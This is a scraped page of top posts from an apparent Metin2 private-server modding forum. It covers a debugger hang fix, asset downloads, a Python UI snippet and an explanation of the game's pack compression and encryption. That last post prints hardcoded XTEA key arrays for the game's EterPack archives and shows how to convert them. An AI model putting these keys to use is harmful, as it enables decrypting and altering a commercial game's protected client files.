not debug mode, but vs 13's debugger) and I try to do /reload regen, the core starts to consume ~40% cpu, and doesn't want to do anything (so stops working, but doesn't crash). It has no affect on FreeBSD and release or debug mode (without visual studio's debugger) on windows. game/src cmd.cpp cmd_gm.cpp input_db.cpp shop_manager.cpp refine.cpp char_manager.cpp char_manager.h item_manager.h item_manager_read_tables.cpp mob_manager.h mob_manager.cpp char.cpp sectree_manager.cpp regen.h regen.cpp shop.h shop.cpp db/src ClientManager.cpp And finally let me wish you all good luck for the setup If you have further question(s), remark(s), or anything that you want to ask or suggest, feel free to post it here, or send it in PM. If you get error(s) please upload the affected (and edited) file to http://pastebin.com/ and link it in your post, to make my work easier and probably I will be able to help you only in one post, so please spare me from asking basic requests like "Could you upload...". Thank you Have a nice day, ~masodikbela
  45. 2 points
  46. 2 points
    Hi, christmas is coming and its time to prepare christmas event! Here is a little thing that can help it with that If you are interesting about the christmas map and other christmas stuff, send me a message on skype You can find it at 1:42 Download
  47. 2 points
    Version 1.0 Hair pinned with Japanese pins for shaman girl. - a face with artificial shadow on the texture was added to the hair. This solution recompense to some extent the lack of shadows in the game engine - the model is carefully crafted - the model has a hair icon - the texture is in good quality NOTE: Please do not change hair to other characters class. The hair looks just fine only on shaman girl. Do not spoil it. Comment or Like = more good models, remember.
  48. 2 points
    Some time ago took me to some creativity and thought to myself that I would try to make HD texture for metin. And here are the effects. Download: http://www.mediafire.com/file/4snx8t9zl5wn63x/Metin2+HD.rar Scan virustotal: https://www.virustotal.com/pl/file/a5cc8b9c8b246df9f8ab993fcf589bb44fe6269ebb52365299d9548763157024/analysis/
  49. 2 points
    def BINARY_Highlight_Item(self, inven_type, inven_pos): if self.interface: self.interface.Highligt_Item(inven_type, inven_pos) try this.
  50. 2 points
    Lzo is a data compression algorithm. It compress data and there are no "lzo keys". On the other hand, XTEA is a block cipher which uses a 8 byte key to encrypt/decrypt data. static DWORD s_adwEterPackKey[] = { 45129401, 92367215, 681285731, 1710201, }; static DWORD s_adwEterPackSecurityKey[] = { 78952482, 527348324, 1632942, 486274726, }; I've made a converter in python: (as requested by someone via PM) >>> from struct import pack as spack >>> a1=spack("LLLL", 45129401,92367215,681285731,1710201) >>> a1.encode('hex') 'b99eb0026f69810563989b2879181a00' >>> >>> a2 = 'b99eb0026f69810563989b2879181a00' >>> a3=a2.decode('hex') >>> from struct import unpack as sunpack >>> sunpack("LLLL", a3) (45129401L, 92367215L, 681285731L, 1710201L) >>>
×